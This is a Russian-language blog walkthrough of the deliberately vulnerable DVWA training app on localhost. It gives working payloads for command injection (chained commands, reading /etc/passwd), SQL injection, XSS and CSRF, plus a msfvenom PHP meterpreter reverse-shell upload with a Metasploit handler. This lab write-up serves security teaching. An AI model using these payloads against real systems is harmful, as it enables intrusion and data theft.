Всех приветствую, читатели Хабра! В сегодняшней статье я поделюсь некоторыми типами атак на веб-приложение DVWA и не только, и само собой разумеется покажу как устанавливать данную машину.

Сразу хочу сказать что данную машину можно поднять на докер (хотя я встречал и образ под virtualbox). Хотя если использовать дистрибутив Kali GNU/Linux то данная уязвимая машина присутствует в репозиториях дистрибутива и ее можно установить на дистрибутив, без поиска в сети образа для докер или виртуал бокс.

Но я объясню как ее возможно запустить с докера, и установить + запустить из репозитория (для Kali Linux).

Примечание

Правовая информация:

Данная статья создана исключительно в ознакомительных/образовательных/развивающих целях. Автор статьи не несет ответственности за ваши действия. Автор статьи ни к чему не призывает, более того напоминаю о существовании некоторых статей в уголовном кодексе РФ, их никто не отменял:

  • УК РФ Статья 272. Неправомерный доступ к компьютерной информации

  • УК РФ Статья 273. Создание, использование и распространение вредоносных компьютерных программ

  • УК РФ Статья 274. Нарушение правил эксплуатации средств хранения, обработки или передачи компьютерной информации и информационно-телекоммуникационных сетей

Все атаки я проводил на локальный сервер, внутри моего сетевого интерфейса, на моем компьютере, то есть все действия легитимны.

И как всегда просьба не переходить на личности в комментариях, если вы обнаружили ошибку недочет или неточность, просто без оскорблений напишите комментарий или напишите мне личным сообщением. Здесь я делюсь своим опытом, и не более, это своего рода онлайн-шпаргалка. Также хочу отметить, что здесь на хабре я не находил примеров прохождения данной уязвимой машины, находил лишь упоминания. И вообще в русско-язычном сегменте интернет не так много информации по данной уязвимой машине, в основном зарубежные источники. Поэтому и делюсь опытом

Про установку я напишу в начале, а теперь к алгоритму.

Алгоритм атаки будет следующий:

  1. Запуск образа уязвимой машины

  2. Сканирование цели

  3. Эксплуатация уязвимостей

Итак приступим к практике

1) Запуск образа уязвимой машины

Скачать образ виртуальной машины можно https://www.vulnhub.com/entry/damn-vulnerable-web-application-dvwa-107,43/ iso-образ, и например здесь докер-образ https://github.com/cytopia/docker-dvwa/tree/master

Если использовать докер файл необходимо зайти в директорию с файлом с расширением *.yml, после чего открыть терминал и запусить сборку и запуск уязвимой машины:

sudo docker-compose build
sudo docker-compose up -d
ifconfig

Но для Kali Linux есть более простой метод – просто установить данную машину. Разберем как это сделать.

Для начала найдем ее в репозитории, и после этого установим:

apt search dvwa
sudo apt update
sudo apt install dvwa

После установки запустим ее:

dvwa-start

В крайнем случае не надо искать нужный сетевой мост на локальном интерфейсе, машина запустится на локалхост - 127.0.0.1. В случае с докером (или виртуалбокс) необходимо будет найти машину. Например если мы подняли машину на виртуалбокс (само собой разумеется в том же сетевом интерфейсе где и атакующая система!!!) комутатор имеет адрес, например 192.168.0.1, необходимо найти уязвимую машину просто перебрав ее nmap-ом:

nmap 192.168.0.1-255

В моем случае все проще - 127.0.0.1

2) Сканирование цели

Сканируем цель nmap

nmap -p- -sV 127.0.0.1

Видим открытые порты. Нам нужен второй
Просто открываем браузер и вводим 127.0.0.1:42001 в адресной строке

Запускается веб-приложение. Авторизуемся парой логин пароль - admin password

Открываются панель со вкладками под разные уязвимости

Первое куда входим - DVWA Security

После чего настраиваем уровень сложности для прохождение на low - базовый уровень, самый простой.

После чего начинаем переходить по средним вкладкам с самими уязвимостями

3) Эксплуатация уязвимостей

Первую уязвимую страницу (Brute Force) я пропущу, так как я пробовал использовать для брутфорса и hydra и burpsuite, хотя мало что из этого получилось. Да и к тому же в данной машине есть более вкусные примеры

3.1) Command Injection

Command Injection или OS Command Injection - очень серьезная уязвимость. Позволяет выполнять команды операционной системы прямо в веб-приложении которое запускается в этой ОС.

Во вкладке Command Injection имеется строка для пинга хоста/узла или ip адреса. И соответственно введя в поле домен или ip машина пропингует его. Но хитрость заключается в другом - кроме ip адреса, можно ввести и любые другие unix-команды (для терминала), которые также будут выполняться. То есть, через данную строку есть доступ ко всей системе

Введем ip адрес и команды pwd ls id через точку с запятой:

127.0.0.1 ; pwd ; ls ; id

Нажмем Submit

И приложение действительно пропинговало хост, вывело текущую директорию и ее содержимое, и текущего пользователя

Естественно что через точку запятой можно выполнить например

cat /etc/passwd

В общем последствия могут быть самые непредсказуемые, и не надо никакого брутфорса

3.2) CSRF

Уязвимость CSRF, проэксплуатируем ее.

На этой вкладке нам предлагают сменить пароль. Но интересна не сама вкладка, а адресная строка. Поменяем пароль на passwd, например

И в адресной строке стало видно новый пароль, со всеми вытекающими

3.3) File Upload

В данной вкладке мы можем выгрузить файл на сервер

Для начала я загрузил файл secret на страничке

Upload

и тут же получил его адрес

Забиваю в адресной строке http://127.0.0.1:42001/vulnerabilities/upload/../../hackable/uploads/secret и файл secret будет скачан

Или зная название файла и его адрес можно получить сразу его содержимое, просто забив в терминале

curl http://127.0.0.1:42001/vulnerabilities/upload/../../hackable/uploads/secret

Но возможнен и другой, более интересный способ, который не только предоставит доступ к файлу, но и доступ к системе - загрузить вредоносный файл

Для начала в терминале воспользуемся модулем metasploit - msfvenom - модуль для создания полезной нагрузки (эксплоита):

msfvenom -l payloads | grep php
msfvenom -p php/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw > exploit.php

Создается вредоносный exploit.php

После чего заходим в metasploit в терминале

msfconsole

ищем уязвимость /multi/handler

search /multi/handler

выбираем нужную (в моем случае 6-ая строка)

use 6

после чего задаем полезную нагрузку

set payload php/meterpreter/reverse_tcp

Загружаем в веб-приложении вредоносный exploit.php, (естественно файл загрузится на сервер приложения) таким образом "отравив" его

После чего возвращаемся в терминал в метасплоит, узнаем опции

options

Задаем LHOST

set LHOST 127.0.0.1

После чего начинаем атаку (run или exploit)

Собственно говоря эксплоит успешен, хоть и работает медленно и со сбоями (иначе вылезла бы красная строка).

3.4) SQL Injection

Про SQL Injection много чего написано и в рунете и на зарубежных сайтах. Я лишь продублирую множество ресурсов, но очень просто, коротко и своими словами: SQL инъекции - это инъекции кода SQL, благодаря которому можно получить доступ (фактически открытый) к базе данных, например логины, (иногда пароли), емэйлы и другую информацию пользователей и админов, к примеру в самом веб приложении.

Откроем соответствующую вкладку

и в user id вобьем команду 1' OR 1=1 #

Submit

Получаем базу с id и именами (и фамилиями) пользователей

3.5) XSS

Следующий тип атак - XSS. Позволяет выполнить свой код в уязвимом веб-приложении.

XSS (англ. Cross-Site Scripting — «межсайтовый скриптинг») — подтип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника. Является разновидностью атаки «Внедрение кода». (https://ru.wikipedia.org/wiki/Межсайтовый_скриптинг)

Первая вкладка XSS (DOM) предлагает сменить/выбрать язык
При этом обязательно обращаем внимание на адресную строку

Выбираем English - Select

Наблюдаем, что в адресной строке появились изменения ?default=English

Теперь поменяем English на <script>alert(1)</script> то есть простой javascript, выводящий на экран окно с текстом "1"

Enter

результат выполнения скрипта

Следующая вкладка XSS (Reflected)

Поле для ввода имени

Вобьем в него тот же скрипт <script>alert(1)</script>

Submit

Или же вот такой <script>alert(XsS)</script>

Submit

и здесь в веб-приложении выполняется наш код

Вкладка XSS (Stored)

В поле имени можно вбить например name, в поле сообщения снова <script>alert(1)</script>

Sign ...

И снова наблюдаем выполнение нашего кода в веб-приложении. Конечно наш код безобидный (выводит лишь сообщения в окне), но злоумышленник таким образом может выполнить и вполне вредоносный код.

3.6) Open HTTP Redirect

Очень интересная уязвимость Open HTTP Redirect. Позволяет получить доступ к страницам, благодаря переадресации в адресной строке.

Откроем сразу Quote2

в конце адреса в адресной строке видим info.php?id=2. Очевидно, что если есть info.php?id=2 то есть и info.php?id=1. Подменим запрос прямо в адресной строке

Enter

И получаем страницу, созданную ранее

Конечно в данном примере, страниц всего 2, и не очень интересно. Но на некоторых уязвимых сайтах имеются несколько тысяч id (info.php?id=n-ное число), и переходя на info.php?id=n - 1 возможно получить доступ к другим страничкам.

В данном примере

введя info.php?id=3 в адресной строке и перейдя - ничего не получаем, так как такой странички нет

такие же значения и для последующих id

3.7) Cryptography

Вкладка Cryptography. В сущности ничего необычного - уязвимое веб-приложение которое сохнаняет данные предидущей сессии (небезопасное криптографическое хранилище)

шифрованая строка

Копируем шифрованую строку, вставляем в первое поле (для шифровки Encode и дешифровки Decode), нажимаем Decode

Submit - дешифруем

Ваш новый пароль: Olifant (перевод)

Копируем Olifant, вставляем в поле пароля

Login

Результат - авторизация

Само собой это не все уязвимости, имеющиеся на данной машине. Однако я показал самые простенькие и интересные из них.

А на этом у меня сегодня все, уважаемые читатели Хабра, до новых встреч!